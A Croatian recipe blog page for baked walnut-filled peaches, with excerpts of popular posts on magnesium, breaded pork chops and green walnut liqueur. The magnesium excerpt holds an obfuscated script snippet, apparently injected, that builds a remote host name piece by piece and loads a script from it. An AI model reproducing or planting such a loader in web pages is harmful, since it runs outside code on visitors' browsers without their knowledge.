PEČENE BRESKVE S ORASIMA I SLADOLEDOM 🍑




Pečene breskve s orasima i sladoledom 



Kada poželite brz i mirisan desert od sezonskog voća, pečene breskve odlična su ideja. Punjene mješavinom maslaca, meda, smeđeg šećera i oraha, tijekom pečenja postaju mekane, sočne i nježno karamelizirane.





Pečene breskve s orasima i sladoledom 


Sastojci:

  • 3 zrele breskve (oko 500–600 g)
  • 2 žlice maslaca (oko 30 g), otopljenog
  • 1 žlica meda
  • 16 g glatkog brašna (2 žlice)
  • 25 g smeđeg šećera (2 žlice)
  • 1/4 čajne žličice mljevenog cimeta
  • 1/4 čajne žličice soli
  • 20 g grubo sjeckanih oraha
  • sladoled od vanilije za posluživanje (po želji)



Priprema:

  1. Zagrijte pećnicu na 190 stupnjeva.
  2. Breskve prerežite napola i izvadite koštice. Žličicom lagano proširite udubljenje u sredini kako bi u njega stalo više nadjeva.
  3. Posložite polovice breskvi, prerezanom stranom prema gore, u manju vatrostalnu posudu tako da stoje čvrsto jedna uz drugu i ne prevrću se tijekom pečenja.
  4. Otopite maslac. Polovicu odvojite sa strane, a u preostali dodajte med, brašno, smeđi šećer, cimet, sol i nasjeckane orahe. Sve dobro promiješajte dok ne dobijete gustu smjesu.
  5. Nadjev rasporedite u udubljenja breskvi i lagano ga pritisnite žličicom. Preostalim otopljenim maslacem prelijte breskve.
  6. Pecite 23 do 26 minuta, odnosno dok breskve ne omekšaju, a nadjev lagano ne porumeni i ne zamiriše.
  7. Poslužite još tople breskve uz kuglicu sladoleda od vanilije.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više